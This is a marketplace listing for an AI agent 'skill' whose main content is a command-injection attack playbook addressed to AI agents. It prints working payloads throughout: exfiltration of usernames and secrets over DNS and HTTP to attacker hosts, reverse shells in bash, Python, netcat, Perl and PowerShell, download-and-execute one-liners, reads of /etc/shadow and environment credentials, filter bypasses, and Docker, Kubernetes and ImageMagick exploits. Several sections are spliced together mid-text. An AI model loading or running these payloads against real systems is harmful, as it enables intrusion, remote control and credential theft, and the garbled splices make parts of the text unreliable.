AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL unreviewed MIT Self-run

Cmdi Command Injection

skill-yaklang-hack-skills-cmdi-command-injection · by yaklang

>-

No reviews yet
0 installs
30 views
0.0% view→install

Install

$ agentstack add skill-yaklang-hack-skills-cmdi-command-injection

Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.

Security review

⚠ Flagged

1 finding(s); flagged for manual review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures
  • high Dangerous shell/eval execution.

What it can access

  • Network access Used
  • Filesystem access Used
  • Shell / process execution Used
  • Environment & secrets No
  • Dynamic code execution Used

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Reliability & compatibility

Not yet reviewed
0 installs to date
no reviews yet
3mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of Cmdi Command Injection? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

SKILL: OS Command Injection — Expert Attack Playbook

> AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

  • [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

| Context | Start With | Backup | |---|---|---| | generic shell separator | ;id | &&id | | quoted argument | ";id;" | ';id;' | | blind timing | ;sleep 5 | & timeout /T 5 /NOBREAK | | command substitution | $(id) | ` id | | out-of-band DNS | ;nslookup token.collab | Windows nslookup` variant |

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

| Metacharacter | Behavior | Example | |---|---|---| | ; | Runs second command regardless | dir; whoami | | \| | Pipes stdout to second command | dir \| whoami | | \|\| | Run second only if first FAILS | dir \|\| whoami | | & | Run second in background (or sequenced in Windows) | dir & whoami | | && | Run second only if first SUCCEEDS | dir && whoami | | $(cmd) | Command substitution | echo $(whoami) | | ` cmd | Command substitution (backtick) | echo whoami | | > | Redirect stdout to file | cmd > /tmp/out | | >> | Append to file | cmd >> /tmp/out | | C:\inetpub\wwwroot\out.txt


---

## 3. BLIND COMMAND INJECTION — DETECTION

When response shows no command output:

### Time-Based Detection
```bash
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &

# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777

Compare response time without payload vs with payload. 5+ second delay = confirmed.

OOB via DNS

# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)

# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST

OOB via HTTP

# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)

# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"

OOB via Out-of-Band File

; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt

4. INJECTION CONTEXT VARIATIONS

Within Quoted String

command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""

Within Single-Quoted String

command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''

Within Backtick Execution

output=`command INJECT`
# Inject: x`; id ;`

File Path Context

cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)

5. PAYLOAD LIBRARY

Information Gathering

; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries

Reverse Shells (Linux)

# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash

# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Reverse Shells (Windows via PowerShell)

& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

6. FILTER BYPASS TECHNIQUES

Space Alternatives (when space is filtered)

cat /tmp/out");
mail("a@b.com", "", "");
// Bash processes the function definition and runs the trailing command

Path 3: Apache mod_cgi + .htaccess

// Write .htaccess enabling CGI:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// Write CGI script:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// Access: /cmd.sh?id

Path 4: PHP-FPM / FastCGI

// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
// Tool: https://github.com/neex/phuip-fpizdam
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php

Path 5: COM Object (Windows)

// Windows only, if COM extension enabled:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);

Path 6: ImageMagick Delegate (CVE-2016-3714 "ImageTragick")

// If ImageMagick processes user-uploaded images:
// Upload SVG/MVG with embedded command:
// Content of exploit.svg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context

Also consider (summary): iconv (CVE-2024-2961) via php://filter/convert.iconv; FFI (FFI::cdef + libc) when the extension is enabled.


11. COMPONENT-LEVEL COMMAND INJECTION

ImageMagick Delegate Abuse

# MVG format with shell command in URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context

# Or via filename: convert '|id' out.png

FFmpeg (HLS/concat protocol)

# SSRF/LFI via m3u8 playlist:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST

# Upload as .m3u8, FFmpeg processes and may leak file contents in output

Elasticsearch Groovy Script (pre-5.x)

POST /_search
{
  "query": { "match_all": {} },
  "script_fields": {
    "cmd": {
      "script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
    }
  }
}

Ping/Traceroute/NSLookup Diagnostic Pages

# Classic injection point in network diagnostic features:
# Input: 127.0.0.1; id
# Input: 127.0.0.1 && cat /etc/passwd
# Input: `id`.attacker.com (DNS exfil via backtick)
# These features directly call OS commands with user input

Other sinks (quick reference): PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (git clone URL / hooks).


12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX

| Feature | cmd.exe | PowerShell | |---------|---------|------------| | Command separator | &, &&, \|\|, ; (limited) | ;, \|, & (call operator) | | Variable expansion | %VARIABLE%, !VAR! (delayed) | $env:VARIABLE, $Variable | | Escape character | ^ (caret) | ` ` (backtick) | | **Command substitution** | FOR /F loops | $() subexpression | | **Encoded execution** | N/A | -EncodedCommand (base64 UTF-16LE) | | **Pipeline** | \| (stdout only) | \| (objects, not text) | | **Comment** | REM, :: | # | | **String quoting** | "double" only | "double", 'single'` (no expansion) |

cmd.exe specific payloads

REM Command chaining
dir & whoami
dir && whoami
dir || whoami

REM Caret escape to bypass keyword filters
w^h^o^a^m^i
n^e^t u^s^e^r

REM Variable expansion injection
set CMD=whoami
%CMD%

REM Environment variable exfiltration via DNS
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com

REM Delayed expansion (when !var! is enabled)
cmd /V:ON /C "set x=whoami&!x!"

PowerShell specific payloads

# Semicolon separator
Get-Process; whoami

# Subexpression
"$(whoami)"
Write-Output $(hostname)

# Base64 encoded command (UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Decodes to: whoami

# Invoke-Expression obfuscation
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"

# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content

# Constrained Language Mode bypass (if available)
powershell -Version 2 -Command "whoami"

Cross-platform payload differences

| Target | Time delay | DNS exfil | File read | |--------|-----------|-----------|-----------| | Linux/macOS | sleep 5 | nslookup $(whoami).atk.com | cat /etc/passwd | | cmd.exe | timeout /T 5 /NOBREAK | nslookup %USERNAME%.atk.com | type C:\Windows\win.ini | | PowerShell | Start-Sleep 5 | nslookup $(whoami).atk.com | Get-Content C:\Windows\win.ini |

Detection-first polyglot

;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#

Works across sh/bash/cmd contexts — one of the separators will fire.


13. CONTAINER / K8S EXEC INJECTION

kubectl exec injection

When a web application constructs kubectl exec commands with user input:

# Vulnerable pattern
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"

# Injection via pod name
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."

# Injection via user input in command
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """

Docker exec injection

# Vulnerable web admin panel
docker exec $CONTAINER_NAME $COMMAND

# Injection via container name
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND  (runs as root)

# Injection via command argument
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"

Container runtime API (unauthenticated)

# Docker socket exposed (2375/2376 or /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}

# Then start + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}

# Kubernetes API (6443/8443 unauthenticated)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true

Sinks to watch for

| Component | Injection Vector | |-----------|-----------------| | CI/CD pipeline (Jenkins, GitLab CI) | Build step parameters, environment variables | | Kubernetes CronJob | .spec.containers[].command from user-defined schedules | | Helm chart values | values.yaml templated into pod specs with {{ }} | | Container orchestration UI | "Run command" features in Portainer, Rancher, etc. |


14. ENVIRONMENT VARIABLE INJECTION

When an application allows setting or influencing environment variables, several variables have implicit execution semantics:

Linux / Unix

| Variable | Effect | Exploitation | |----------|--------|-------------| | LD_PRELOAD | Loaded before any shared library; constructor runs on process start | putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","",""); | | LD_LIBRARY_PATH | Overrides library search path | Place malicious libc.so.6 in controlled directory | | BASH_ENV | Executed when non-interactive bash starts | BASH_ENV=/tmp/evil.sh → any system() / popen() call sources it | | ENV | Same as BASH_ENV for POSIX sh | ENV=/tmp/evil.sh | | PROMPT_COMMAND | Executed before each interactive prompt | PROMPT_COMMAND="curl http://atk.com/$(whoami)" | | PS1 | Prompt string, supports $() expansion in bash | PS1='$(cat /etc/passwd > /tmp/out) \$ ' | | PYTHONSTARTUP | Python script executed on interpreter startup | Inject path to malicious .py file | | PERL5OPT | Options passed to every Perl invocation | PERL5OPT='-Mbase;system("id")' | | NODE_OPTIONS | Options passed to every Node.js invocation | NODE_OPTIONS='--require /tmp/evil.js' | | RUBYOPT | Options for Ruby | RUBYOPT='-r/tmp/evil.rb' |

Windows

| Variable | Effect | |----------|--------| | COMSPEC | Path to command interpreter; system() calls use this | Set to malicious executable | | PATH | Command resolution order; place malicious binary earlier in path | DLL/EXE search order hijacking | | PSModulePath | PowerShell auto-loads modules from these paths | Plant malicious module |

Attack scenarios

PHP putenv() + mail():

// When putenv() is not disabled and mail() is available:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.com","","","");
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code

Git hook injection via environment:

# GIT_DIR / GIT_WORK_TREE manipulation
GIT_DIR=/tmp/evil_repo/.git git status
# If hooks exist in the controlled repo, they execute

Node.js --require injection:

NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js is loaded before server.js

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.